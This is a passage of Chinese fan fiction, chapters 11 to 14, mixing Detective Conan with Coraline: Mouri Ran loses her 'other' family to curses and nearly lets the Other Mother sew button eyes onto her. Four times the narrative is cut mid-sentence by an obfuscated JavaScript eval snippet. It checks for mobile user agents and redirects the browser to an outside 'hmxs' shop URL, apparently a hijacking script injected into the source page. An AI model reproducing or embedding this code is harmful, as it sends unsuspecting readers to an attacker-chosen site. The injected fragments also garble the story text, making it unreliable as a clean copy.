可是,当毛利兰走到楼梯间的时候,她意识到这里不是现实,那下楼后究竟是什么呢?是和现实一样的街道吗? 无论是什么,毛利兰都决定要去看看,她的“父母”还处在危险中,她需要帮助。 毛利兰记得她进来这边的时候还是白天,然而站在楼梯间向外看的毛利兰却发现天已经黑了。 不过她家一楼的咖啡厅似乎还在营业,暖黄色的灯光从玻璃窗里照射到街道上,即使是站在楼梯间的毛利兰也能因此看清街道的地面。 所以当毛利兰刚跑到二楼楼层的台阶时,她就借着灯光看到了好像是准备来她家找她的另一个工藤新一。 另一个工藤新一是跑着来的,对方似乎刚准备上台阶,结果就正好和楼层上准备下台阶的毛利兰四目相视,毛利兰看见对方担忧、紧张的神情。 “新一?” “兰!快——” 11. 第 11 章 一切发生得太快,等毛利兰意识回来的时候,她已经拖着“工藤新一”残破的身体躲进了处在二楼的房间,她哭得停不下来,双手死死地堵着新一腹部的伤口,可血还是止不住地流出来。 “新一,新一,坚持住。” 毛利兰完全不知道发生了什么,她只记得新一突然倒在她的面前,她去扶新一却摸到一手的血,新一的腹部和后腰都是血,看起来就有什么东西刚刚穿过了新一的身体。 然后紧随而来的就是从街道开始往楼梯间上方蔓延的裂痕,无论是台阶还是墙壁都在出现皲裂,眼看裂痕即将蔓延到她和新一在台阶上的所在地,毛利兰搀扶起新一就是一个冲刺在裂痕到达前躲进了二楼的房间。 而在毛利兰将二楼的门反锁后,那个看不见的东西似乎就放弃了追逐毛利兰。 毛利兰还想呼唤提醒楼上的另一个妈妈和另一个爸爸,然而此时毛利兰才发现自己抖得厉害,她的声音抖得不成样子,手却稳稳地捂着另一个工藤新一的伤口。 “兰,别哭,我没事。” “怎么可能没事!” 毛利兰的双手忙着堵住伤口流出的血,眼泪在眼眶里续满了看不清新一的轮廓,毛利兰只能狠狠地眨眼让眼泪赶紧掉落,然而看起来就剩最后一口气的新一却伸出手擦去毛利兰的眼泪。 “工藤新一”用一只手捂住毛利兰的双眼,另一只手附在毛利兰按住他伤口的双手上。 “兰,冷静下来......别用眼睛去看这里的一切,去感觉,去感受——” 毛利兰在“工藤新一”的话语声里原本慌乱的呼吸逐渐变得平稳,“新一”要她去感受,感受什么? “——血不是真的。”我也不是。 后半句另一个工藤新一没有说,看见毛利兰为他哭的时候,另一个工藤新一想过就这样告诉毛利兰他并不真实存在,毛利兰不需要为他的死亡哭泣,可是...... 因为眼睛被蒙上,什么也看不见的毛利兰感觉她的其他感官反而更灵敏了,她能听见“新一”在她身边已经近乎气语的声音,毛利兰感受着手下的触感,冷静下来的她发现“新一”伤口流出的血的触感似乎有奇怪的颗粒感。 感觉好像沙粒。 “新一?” 另一个工藤新一的手从毛利兰的眼睛上滑落,重新睁开眼的毛利兰再次看见的却不是完整的“工藤新一”,而是只剩从“工藤新一”衣服里渐渐流出的沙粒。 对于手接触的人突然变成沙粒毛利兰吓了一跳,但她还是像寻求答案一样疑惑地对着那堆已经开始消散的沙粒喊了一句。 “新一?” 沙粒当然不能回答她。 然而不等毛利兰从另一个工藤新一的消失中缓过神,二楼房间的门口传来了重物撞到墙上的声音。 来不及继续悲伤的毛利兰想起她的“父母”,小心翼翼地打开了一条门缝查看外面的情况,毛利兰只来得及看见为了保护另一个妈妈的另一个爸爸被整个人倒吊着从三楼摔到了一楼的街道上。 “爸爸!” 毛利兰想冲出门跑向“爸爸”,然而从三楼跑下来的另一个妈妈却一把抱住毛利兰躲进二楼的房间重新锁上了门。 门最后关上的时候,毛利兰只来得及从逐渐关闭的门缝看见另一个爸爸直到变成沙粒消失前,都还一直向着她的方向和她摇头让她不要过来的神情。 毛利兰不知道另一个爸爸无法开口说话,所以直到最后一刻另一个爸爸想要表达的都是—— 不要相信另一个妈妈。 * 和现实不同,现实的毛利小五郎已经辞去了警察工作,自己做起了私家侦探,所以毛利家现实的二楼房间如今已经变成了毛利侦探事务所。 而在这里二楼的房间还是毛利家原本的书房,妃英理和毛利小五郎都会在这里处理带回家的工作。 另一个妈妈带着毛利兰躲进二楼后便将房门反锁了,另一个妈妈和毛利兰一起推动书房的办公桌用其堵住房门,做完这一切后另一个妈妈背对着堵着房门的办公桌累倒般地直接坐在地上。 短暂的松懈让毛利兰意识到另一个妈妈的状态似乎不对,她跑过去查看另一个妈妈的身体情况,才发现另一个妈妈的大腿处赫然有一个大洞,一直在往外漏着沙粒。 “妈妈......” 毛利兰满眼悲伤地看着另一个妈妈,她又开始哭泣,像是要流干这辈子的所有眼泪。 另一个妈妈却招手让毛利兰去到她的身边,毛利兰听着门外猛烈的敲击声和另一个妈妈依偎在一起。 另一个妈妈有一搭没一搭地梳理着她的头发,说出的话却像是在交待遗言。 “兰还记得和妈妈相见的第一天吗?妈妈说给你准备了礼物,不过一直没有机会送出去。”另一个妈妈抬起另一只手从背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033408|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办公桌的抽屉里掏出一个礼物盒。 “还好现在送还不太晚。”另一个妈妈将礼物盒交给毛利兰。 “打开看看吧,兰。” 礼物盒是黑紫色相间的花条纹,用红色丝带包裹,毛利兰接过礼物盒后却没急着打开,而是将自己一直背着的书包卸下来。 另一个妈妈看着毛利兰从书包里掏出一个娃娃,一个有着黑色短发,黑色纽扣眼的棉花娃娃。 什么? “......我给妈妈也准备了礼物,原本是打算作为给妈妈的惊喜......” 毛利兰还在说着什么,另一个妈妈接过礼物后却有些愣神,她不禁像第一次与毛利兰见面时那样敲了敲娃娃的纽扣眼。 “你缝上去的?” “嗯......缝得不太好,妈妈要是不喜欢的话,可以拆了。” “没有。”看着线头都还露在外面、缝得很蹩脚的纽扣,另一个妈妈却下意识否认了。 这个棉花娃娃的款式另一个妈妈知道,她给毛利兰做的那个用来监视毛利兰的娃娃款式就是参考的市面上最火的这款,毛利小五郎在超市里购买时,另一个妈妈做的那个娃娃就是在这样一群娃娃中。 另一个妈妈从来没想过能从孩子那里得到除灵魂以外的东西,之前毛利兰带来的咖喱还可以说是她们一起吃的食材,那这个礼物是?所以她忍不住问毛利兰:“为什么送我礼物?” “因为我想在我还没来到这里之前,娃娃能够代替我先陪着妈妈。” 爸爸送给她的娃娃也没有转手送给别人的道理,所以毛利兰原本是想把买来的娃娃改造成就像爸爸买给她的那个娃娃一样,改成长得像另一个妈妈的娃娃的。 然而她的缝纫技巧好像就只够支撑她改了眼睛,还缝得扭扭歪歪,头发衣服什么的,毛利兰都还不会制作。 另一个妈妈不知道在想什么没有再回复她,毛利兰便趁此打开了另一个妈妈送她的礼物。 礼物盒里整齐地摆放着一对黑色的纽扣,一根针以及一卷黑色的细线。 妈妈好像送给她一套缝纫装备?所以毛利兰说:“谢谢妈妈,妈妈的礼物我也很喜欢。” 房门外的敲击声不知道什么时候停了,另一个妈妈看着满眼都是她,眼睛里只有她一个人倒影的毛利兰突然开口说道—— “兰不想知道今天这里发生的一切是怎么回事吗?” 12. 第 12 章 在另一个妈妈的说明下,毛利兰知道了咒灵的存在。 另一个妈妈说咒灵是由人的负面情绪产生的,因为诞生于人,所以本能驱使它们攻击人类,从而让人类产生更多的负面情绪来持续供应给它们,成为它们的养料。 普通人类无法看见咒灵,毛利兰是普通人类,所以她看不见今天在这里攻击他们的咒灵。 可另一个妈妈和另一个爸爸能看见不是吗?他们不是普通人类,那他们是什么?毛利兰这么想也就直接问了出来。 “兰听说过座敷童子的传说吗?”另一个妈妈觉得这栋房子之前的、那个没有孩子的家庭如今看来也不是一无是处,起码他们让她了解到不少日本的传说。 “座敷童子?”毛利兰当然知道有关座敷童子的故事,传说他们是家宅的守护灵,会给住在这所房子里的家族带来幸福和财富,而一旦座敷童子离开,这所房子里的家族就会迅速衰落。 “妈妈是我们家的守护灵?” 可住在这栋房子里的她的家庭如今却是各自分居中,毛利兰不免感到疑惑,何况传说中座敷童子是小孩子,另一个妈妈和另一个爸爸怎么看都不符合座敷童子的年龄,倒是“新一”...... “不,妈妈只是兰的守护灵。”另一个妈妈戴着温柔的表情伸出手抚摸毛利兰的长发,手指插进毛利兰的头发中从上一直梳到最下方,来回往复,好像在摸什么珍贵之物。 “爸爸和我,还有新一都是这栋房子的守护灵,我们的共同守护对象就是家族里最小的孩子,不过只有当那个年幼的孩子遇到生活上的变故时我们才会出现,兰的父母分居了,所以我们来了。” “因为知道兰你怕鬼,所以我们一开始都不敢说,只敢让兰你以为这一切只是一场梦。因为我们的使命就是让兰你重新感到幸福......” “妈妈。” 她确实在和另一个家的家人相处后重新感到了幸福,因为毛利兰知道她每晚都在期盼着能做同样的梦。 可“爸爸”已经消失了,“新一”也...... 毛利兰又红了眼眶,但紧接着她就重新被另一个妈妈抱住了,另一个妈妈把头搁在毛利兰的肩膀上,紧紧地拥住了毛利兰。 “所以,兰,不要伤心,不要难过,我们本来就是因为你而存在的守护灵,我向你保证即便只剩我一个人,我也一定会把你安全送回去。” 另一个妈妈的语气坚定,但说出的话却让毛利兰感觉到了危机,“妈妈”就好像做好了牺牲的准备一样。 而果然另一个妈妈的下一句话就是诉说她的“牺牲”计划。 另一个妈妈放开了毛利兰,将那个毛利兰放进书包的礼物盒重新拿了出来,另一个妈妈打开礼物盒,将礼物盒里的纽扣和针线重新摆放在毛利兰的面前。 “我会帮助兰争取离开的时间,兰到时候只需要重新从通道返回另一边,锁上通道的门,将咒灵关在这里,兰就安全了,只是我的这个计划如果兰无法看见咒灵就办不到......” 另一个妈妈说只要她让另一个妈妈用纽扣缝上她的眼睛,她就能像另一个妈妈一样,能够看见咒灵。 原本这个礼物只是他们向毛利兰表明身份后的证明的,没想到会用在现在这种情形下,另一个妈妈还在说着毛利兰接受用纽扣缝上眼睛后的好处,然而毛利兰却在想—— “可是我走了,妈妈怎么办?” “妈妈的存在就是为了兰,只要兰安全了,妈妈就放心了。”所以同意吧,让我缝上你的眼睛,让我拥有你的灵魂。 在听到另一个妈妈的回答后,毛利兰原本对另一个妈妈计划的犹豫转而变得坚定,她擦干净之前剩下的泪水,主动握住另一个妈妈拿着针线和纽扣的双手。 “我愿意让妈妈缝上我的眼睛——” 听到毛利兰的同意,另一个妈妈深情演戏的表情差点没忍住露出异样,但她的动作还是暴露了她的迫不及待,另一个妈妈拿着穿好线的针已经举到了毛利兰的眼前。 然而即便针尖都快戳到毛利兰的眼睛了,毛利兰坚定的眼神却没有产生一丝动摇,她只是接着她刚刚的话继续说道。 “——但我要留下,我要留下保护妈妈。” 另一个妈妈拿着针的手一顿。 “如果我也能看见咒灵,起码我也能作为妈妈的另一双眼睛提醒妈妈咒灵的攻击,起码我也能不再成为妈妈的累赘,起码我也能在面对咒灵时保护妈妈......” 另一个妈妈的计划里根本没有考虑到她自己的生死,所以毛利兰决定既然另一个妈妈没有关心她自己的生死,那她来关心,另一个妈妈因她而存在,那她就承担起保护另一个妈妈的责任。 另一个妈妈之前说咒灵攻击人是因为它们的本能驱使它们,让人产生更多的负面情绪来喂给它们,也就是说,其实从头到尾只有她毛利兰一个人是咒灵的目标。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033409|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个爸爸和另一个新一都是为了保护她而死,之前她不知道,甚至状况外,但她现在知道了,她就不想要再让任何人为她牺牲,所以这一次就让她来保护妈妈吧。 另一个妈妈继续动作,随着另一个妈妈将一枚黑色的纽扣覆盖到毛利兰的左眼上方,毛利兰闭上了那只眼。 她执拗地睁着另一只眼认真地注视着另一个妈妈,毛利兰不知道被纽扣缝上眼睛后的世界长什么样,所以她想最后起码看见的还是另一个妈妈现在的样子。 针尖戳到毛利兰左眼皮上的时候,她感受到有些痛,但她觉得完全能够忍受,所以毛利兰乖乖地一动不动任由另一个妈妈接下来的动作。 然而毛利兰在感受到眼睑似乎被针尖戳破皮流血后,另一个妈妈就此保持着这个动作停住了。 “你还有什么想说的吗?” 毛利兰以为另一个妈妈是在问她有关之前说出“豪言壮语”要保护“妈妈”,却没给出相应对策的问题。 她以为另一个妈妈会因为她接下来的话来斟酌她之前想要留下保护妈妈的建议,所以毛利兰说由她来引开咒灵吧。 她来为另一个妈妈争取安全离开的时间。 毛利兰思考过了,既然咒灵的目标是她,那另一个妈妈计划里引开咒灵的人就不应该是另一个妈妈,而是作为目标的她更好。 听完毛利兰的计划,另一个妈妈认为她不应该再犹豫,明明她距离拥有毛利兰的灵魂只差一步。 可是另一个妈妈看着覆盖在毛利兰左眼上的纽扣,因为刺破眼睑,毛利兰的左眼皮流出了一些血。 这些血因为覆盖其上面的纽扣无处可去,只能从纽扣的孔洞里流出,又因为重力顺着纽扣的表面一直流到纽扣外边缘的凸起处,看起来就像是纽扣流出了血泪一样。 另一个妈妈仅今天这一天就见多了毛利兰的眼泪,毛利兰为另一个工藤新一的消失哭泣,为另一个爸爸的离去哭泣,又为“受伤”的她哭泣。 如果她为毛利兰缝上眼睛,这双总是很多眼泪的眼睛还能再流泪吗?毛利兰还能再为她流泪吗? 原本就拥有一双纽扣做的眼睛的另一个妈妈知道,不会了,因为纽扣做的眼睛没有泪腺,只有缝合留下的针线。 “妈妈?” 毛利兰察觉到另一个妈妈许久没有继续拿针往下刺的动作,不由关心地询问。 而此时二楼的房间外再次传来猛烈的撞门声。 13. 第 13 章 “兰真的想能够看见咒灵吗?”另一个妈妈循循善诱,“咒灵长得很可怕,我们兰不是最怕鬼吗?而且兰是普通人,兰的攻击对咒灵无效......” 另一个妈妈也不知道为什么她想要说这些,明明之前她还在殷勤地告诉毛利兰缝上眼睛有多少好处,但现在另一个妈妈如今却对缝上毛利兰眼睛这件事一拖再拖。 就好像另一个妈妈认为如果她说的这些话能够让毛利兰退缩,能够让毛利兰拒绝她继续缝上毛利兰的眼睛,另一个妈妈就会以尊重毛利兰决定的理由说服自己不继续缝上毛利兰的眼睛。 另一个妈妈告诉毛利兰,她的攻击对咒灵无效时,毛利兰第一反应是她帮不上另一个妈妈的忙了。 可毛利兰转念一想,她的攻击对咒灵无效而已,又不代表咒灵对她这个人的存在整个熟视无睹,她依旧能够帮助另一个妈妈干扰、引开咒灵,给另一个妈妈争取打败或逃离的时间。 毛利兰确实怕鬼,怕鬼的原因也有她的攻击无法对鬼魂有效这一点,但毛利兰认为与其因为看不见被动挨打,能看见后起码知道对方的位置能够提前防守。 另一个妈妈说到这个份上了,毛利兰当然是感觉到了另一个妈妈的犹豫。 二楼房门外的撞击声从开始响起后就没再停止,反而有愈演愈烈的势头,毛利兰认为危险迫在眉睫,另一个妈妈直到现在却还在为她着想,既然如此就让她来坚定另一个妈妈继续缝上她眼睛的决心。 “妈妈。”毛利兰伸出双手握住另一个妈妈拿着针的那只手的手腕,“无论妈妈说什么,我想看见咒灵保护妈妈的决心不会动摇,妈妈,继续吧。” 哑光纽扣做的眼睛里不会倒映出任何人的身影,所以另一个妈妈在看到毛利兰仅剩的、一只露在外面的眼睛里全是她的倒影时,另一个妈妈从毛利兰的眼中第一次看到自己露出这样错愕的表情。 她像是突然间卸了所有力气,不再去坚持什么,另一个妈妈直到此刻才意识到她在给毛利兰缝上眼睛这最后一步的过程中犹豫了多少次,给了毛利兰多少次拒绝的机会。 然而毛利兰没有一次畏惧,没有一次想过让她停下,明明这就是另一个妈妈想要的不是吗?可为什么她无论如何却也再下不去手。 另一个妈妈放下手里的针线和纽扣,转而用双手捧起毛利兰的脸,与毛利兰双眼中的她自己对视,她决定给毛利兰最后一次机会。 另一个妈妈和自己打赌......如果毛利兰没有回来,她就放弃毛利兰的灵魂。 另一个妈妈的计划是遵循毛利兰之前的计划,也就是由毛利兰引开咒灵。 这里的所有一切都是另一个妈妈创造的,她知道如果毛利兰想要引开咒灵,保证她的安全,那毛利兰一定无处可去,因为在这里,无论毛利兰逃往哪里,最后都会回到这栋房子。 那么,毛利兰最终引开咒灵的路线就只剩下一条,那就是通过小门回到她现实的家。 而另一个妈妈只需要在毛利兰进入小门的通道后,随手杀了咒灵就可以了,反正那几个咒灵原本就是另一个妈妈在操控。 在另一个爸爸和另一个工藤新一还没来得及注意到的地方,咒灵被几乎看不见的细丝操控着,只有短暂的反光能让人注意到空气中弥漫的细丝,然而这里的世界本就全在另一个妈妈的掌控下,她说要有光,才会有光。 那几个咒灵中有曾经跟随毛利兰进入通道来到另一个妈妈所处领域的,有意识到小门通往的地方不对劲而在小门口徘徊等着毛利兰主动出来的,不过它们最后的下场都是沦为另一个妈妈主导这场戏的傀儡。 只是现在这场原本是为了让毛利兰自愿缝上眼睛戏码的主角不想干了,那几只咒灵自然也就没用了。 其实另一个妈妈知道她的所谓计划就是故意在给毛利兰离开的机会,而毛利兰能够离开这里后大概就再也不会回来了,她自然也就没有重新取得毛利兰灵魂的机会,她和自己赌注的选项和结果其实都通向同一个结局。 但另一个妈妈告诉自己,或者说她在自我催眠,这是她的计划,她不是故意想放毛利兰一条生路,这只是她和自己打赌玩的游戏规则而已。 是毛利兰蒙蔽了她的眼睛,是毛利兰装作很在乎她的样子让她上了当,所以如果是她和自己赌输了,她甘愿承担输掉游戏的后果。 “妈妈!” 看到另一个妈妈突然拿针一挑,将另一个妈妈左眼的纽扣眼睛附近的缝合线挑断,毛利兰惊出了声,但想到房门外还在徘徊的咒灵,毛利兰赶紧捂住了自己的嘴。 然而另一个妈妈却像个没事人一样,从挑断的缝合线处拿下了那只纽扣眼。 “妈妈?”毛利兰不知道另一个妈妈在做什么,可她觉得任何“拿下”自己眼睛的人都不应该如此平静,她忍不住担心另一个妈妈,所以毛利兰抓住另一个妈妈继续动作的手。 “兰不用担心,妈妈没事,我只是想到了让你能够看见咒灵更好的办法。” 另一个妈妈将之前送给毛利兰的那枚纽扣上毛利兰的血转而抹到属于她眼睛的纽扣上,为了转移毛利兰对她所做事充满担忧忍不住想制止的注意力,另一个妈妈在重新对那枚她的纽扣眼进行了穿针引线时,嘱咐毛利兰查看一下门外的动静。 二楼房门外敲击的咒灵不知道为什么再次消停了,毛利兰谨慎地慢慢站起身,只留出一双眼睛能看到的距离越过遮挡房门的办公桌朝房门上的磨砂玻璃看了一眼。 然而什么都没看到后,注意力一直在另一个妈妈身上的毛利兰才想起她也还不能看见咒灵,所以她小声地询问另一个妈妈。 “妈妈,咒灵还在门口吗?” 然而另一个妈妈并没有先回答毛利兰的问题,而是将她做好的“装备”比对着合适的位置覆盖上毛利兰的左眼。 “兰,闭上眼。” 毛利兰虽然不明所以,但还是照做了。 两根黑色的线各自穿过纽扣中间平行的两个孔洞,再延伸出去被拧成一股绳,看起来就像海盗眼罩一样,只不过是用纽扣做的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033410|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一个妈妈将“海盗眼罩”给毛利兰佩戴结束后说:“兰,试着睁开眼睛看看。” 睁开眼睛? 毛利兰闭上的眼睛只有那个让“海盗眼罩”覆盖的左眼,可左眼上有纽扣压着,她怎么做到睁开眼睛呢? 不过既然另一个妈妈是这么告诉她的,毛利兰便尝试了一下睁开左眼,和毛利兰想的一样,她的左眼在这种情况下根本无法睁开,所以毛利兰在努力过后一脸困惑地看着另一个妈妈,是她理解错意思了吗? “妈妈?” 在毛利兰的疑惑中,另一个妈妈伸出手覆盖住了毛利兰另一只没戴着“海盗眼罩”的眼睛,随着另一个妈妈手掌的靠近,毛利兰下意识闭上了眼睛,现在毛利兰的左右眼都陷入了一片黑暗。 感受到毛利兰右眼的眼睫毛在自己手掌之下轻轻抖动,另一个妈妈弯腰凑近毛利兰地身边耳语道:“现在,兰,睁开你的双眼。” 另一个妈妈的手掌是轻轻覆盖在毛利兰右眼之上的,也就是说其实毛利兰的眼睛在另一个妈妈的手掌之下有足够睁开的空间。 但即便如此毛利兰睁开眼睛后看见的也应该是另一个妈妈手掌之下的一片黑暗,然而毛利兰在睁开眼睛后却看到了在她面前温柔地看着她的另一个妈妈。 而毛利兰明明还能感觉到此时覆盖在她右眼上的另一个妈妈的手,所以,她现在是在用左眼看另一个妈妈吗?可她的左眼不是戴着“海盗眼罩”吗? 从毛利兰的反应另一个妈妈就知道毛利兰一定是能“看见”了,所以另一个妈妈拿开她覆盖在毛利兰右眼上的手向毛利兰解释这其中的原理。 在另一个妈妈的诉说中毛利兰得知,原来不需要完全缝上眼睛,用纽扣代替她原本的眼睛,也能透过纽扣看见咒灵。 不过这枚纽扣得来自原本就能看见咒灵的另一个妈妈,而毛利兰之前流出的血被涂抹在另一个妈妈的眼睛上后,她们就此建立了联系,毛利兰因此能透过另一个妈妈的眼睛来看到咒灵。 “妈妈是在刺破兰的皮肤,看见兰流出的血后才想到还有另外一种看见咒灵的方法的,兰会怪妈妈吗?” “怎么会!”毛利兰不想看见另一个妈妈自责的表情,她立马否定了另一个妈妈的想法。 她怎么可能会责怪另一个妈妈,当时情况那么危险,另一个妈妈能在短暂时间内想出那样的方法已经很厉害了,何况缝上眼睛是她自愿的,另一个妈妈只是按照她的意愿刺破了她的皮肤而已。 然而不想看到另一个妈妈自责的毛利兰却忍不住自责,她低下头,想起另一个妈妈脸上少去的左眼,眼眶不禁有些泛红。 毛利兰重重抹了一把眼睛,重新变得坚定,另一个妈妈在向她诉说新的计划,另一个妈妈肯定了她之前的建议,同意由她去引开咒灵,既然如此毛利兰不想另一个妈妈再看见自己的脆弱。 没注意到毛利兰异样的另一个妈妈还在诉说她的计划,她想既然一切准备就绪,那么游戏重新开始,兰,你是会让我输还是让我赢? 14. 第 14 章 毛利兰没有回来。 另一个妈妈端坐在客厅的矮桌前,目不转睛地盯着对面墙上紧闭的小门。 毛利兰在按照她的计划离开后,没多久就摘下了另一个妈妈绑在毛利兰左眼之上的、她的纽扣眼睛,另一个妈妈最后看见的只有毛利兰将那枚纽扣放进口袋的动作,再往后她的视线就一直保持一片黑暗了。 距离另一个妈妈丢失毛利兰的视野,时间在逐渐流逝,另一个妈妈的表情也越来越近乎咬牙切齿。 毛利兰取下了她送给毛利兰的纽扣是几个意思?是决心让她再也看不到毛利兰了吗? 那枚纽扣可是她的眼睛! 毛利兰,你怎么敢丢下我的眼睛?你怎么敢真的不回来! 另一个妈妈之前和自己打赌,如果毛利兰不回来,她就放弃毛利兰的灵魂,另一个妈妈说自己愿赌服输,但她允许毛利兰不回来和毛利兰真的不回来是两码事。 都说人在真的失去后就会暴露本性,诞生于人的咒灵当然也不另外,另一个妈妈认为明明她之前距离得到毛利兰的灵魂就差一步,她却被毛利兰骗了。 果然毛利兰之前的“甜言蜜语”是在骗她,一切都是毛利兰装的,是为了骗过她,让她放毛利兰回去,她竟然真的被骗到了!毛利兰怎么敢、怎么能欺骗她! 虽然之前另一个妈妈和自己打赌说愿意承担输的后果,但真实意识到自己竟然被骗了后,另一个妈妈感受到比之前那次游戏输给Coraline更深的恼羞成怒。 兰!你不回来我就把你抓回来!我要缝上你的眼睛,要你永远留下来陪我! 另一个妈妈站起身就准备实施她的决定,虽然她没办法离开这里,但她还有其他帮手不是吗?另一个妈妈盯着被她摆放在矮桌上的棉花娃娃。 因为被毛利兰欺骗,另一个妈妈将怒火迁怒于那个毛利兰送给她的棉花娃娃。 毛利兰做给另一个妈妈的棉花娃娃原本和另一个妈妈做给毛利兰的棉花娃娃摆在一起,另一个妈妈特意将她们一起摆在矮桌上,是因为毛利兰之前说希望娃娃能够代替毛利兰,在毛利兰没来到这里之前,由娃娃先陪着“妈妈”。 结果现在这一切看起来简直讽刺。 另一个妈妈大发脾气,挥手将两个娃娃一起拍下了桌,其中另一个妈妈做给毛利兰的那个棉花娃娃本身就可以移动,所以它只是翻了一个后空翻稳稳落地。 另一个妈妈对它发号施令:“你去把毛利兰给我抓回来!” 而毛利兰做给另一个妈妈的娃娃,则因为惯性一路滚到了位于客厅另一面墙的小门前。 等等。 另一个妈妈感觉到属于她眼睛的那枚纽扣好像被短暂从毛利兰的口袋里拿出来了一下,而那一瞬间她看到的景象是...... 此时,小门被推开了。 “妈妈?” 毛利兰进来后疑惑地捡起小门口地上的棉花娃娃,那是她送给另一个妈妈的礼物。 另一个妈妈刚刚好像很生气,而且似乎长高了一点?但现在“妈妈”的心情好像又突然变好了?另一个妈妈转变得太快,刚刚的一切好像毛利兰的错觉,她有点懵。 让她更懵的还有就是为什么爸爸送给她的娃娃,现在在另一个妈妈这里,并且她刚刚是不是看见那个娃娃走了几步? 毛利兰在按照另一个妈妈的计划引开咒灵后回到了原世界的家,她按照另一个妈妈所说,在咒灵跟随她也回到毛利兰的世界前关上了联通两个空间的小门。 另一个妈妈告诉她,小门内的通道联通两个空间,如果关上小门,通道就会消失,如果咒灵被毛利兰引到通道内,那么关上门的同时,咒灵也会跟着通道消失。 毛利兰听了另一个妈妈的诉说后还担心如果在她关上通道后,咒灵回头去往另一个妈妈的空间,另一个妈妈到时候怎么办。 虽然另一个妈妈有向她保证,另一个妈妈也会及时关上小门,但毛利兰在关上她这边的门后还是忍不住担心,然而就在毛利兰想重新打开门确认咒灵是否已经随着通道消失时,毛利小五郎回来了。 毛利兰当时的注意力便被“爸爸回来了”这个信息吸引,她转过头想对爸爸说欢迎回来。 然后还戴着另一个妈妈送她的纽扣版“海盗眼罩”的毛利兰就看见了栖息在爸爸肩头、如同围巾一般几乎包裹住爸爸整个肩膀,脖子和脑袋的咒灵。 面对那个像蜈蚣一样的咒灵,毛利兰率先抑制住了恐惧,将视线自然地从咒灵身上过度到爸爸身上,和平常一样对爸爸说出了那句—— “欢迎回来。” 另一个妈妈和她说过咒灵吸食人的负面情绪,如果她露出恐惧,那个咒灵肯定就会察觉到毛利兰能看见它。 毛利兰还记得另一个妈妈说过作为普通人的她的任何攻击都对咒灵无效,所以毛利兰告诉自己,现在的她绝对不能露馅,不然她和爸爸都会遭受到咒灵的伤害。 和另一个妈妈商量如何引开咒灵时,毛利兰就向另一个妈妈问出过这样的疑惑。 当毛利兰还在另一个妈妈所处的空间时,明明她是那里唯一能够产生负面情绪的人类,明明她才应该是咒灵的目标,但为什么咒灵没有率先直接伤害她,而是先选择了另一个爸爸和另一个新一? 另一个妈妈解释说是咒灵对于能看见它的人更具有攻击性,能看见咒灵的人会率先被咒灵视为目标,对于看不见咒灵的普通人,咒灵通常不会主动攻击,但不主动攻击,不代表你就不会成为咒灵的目标。 就像现在,毛利小五郎被咒灵缠着,虽然没有被咒灵攻击,虽然看不见咒灵,但身体却向毛利小五郎反馈不适。 人的精神状态不好也就会产生负面情绪,毛利小五郎的负面情绪在作为持续的养料被供给给咒灵,直到毛利小五郎整个人被耗尽。 所以毛利兰取下了另一个妈妈做给她的纽扣版眼罩,看不见咒灵对爸爸做的事,毛利兰更能隐藏她的情绪。 毛利兰在此期间照顾疲惫不堪的爸爸,在爸爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033411|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躺在床上安然睡着后,毛利兰悄悄关上了爸爸房间的门,不让家门外的敲门声打扰爸爸的睡眠,毛利兰打开家门后看见是背着行李包前来留宿的新一。 毛利兰并没有让新一进门,她只是半掩着房门,露出一点身体,透过门缝将她爸爸生病了的消息告诉工藤新一。 毛利兰今晚要照顾她爸爸,她也不想让新一被“传染”,所以毛利兰拒绝了新一的留宿,毛利兰还告诉新一如果爸爸的病情很严重的话,那她明天大概会向老师请假,明天新一和园子就没必要等她一起上学了。 新一走后,毛利兰才有空重新打开小门查看通道里的情况,她将另一个妈妈送她的纽扣举到左眼前,看到通道里的咒灵果然像另一个妈妈说的那样消失后,毛利兰收好另一个妈妈送她的纽扣,再次爬进了通道。 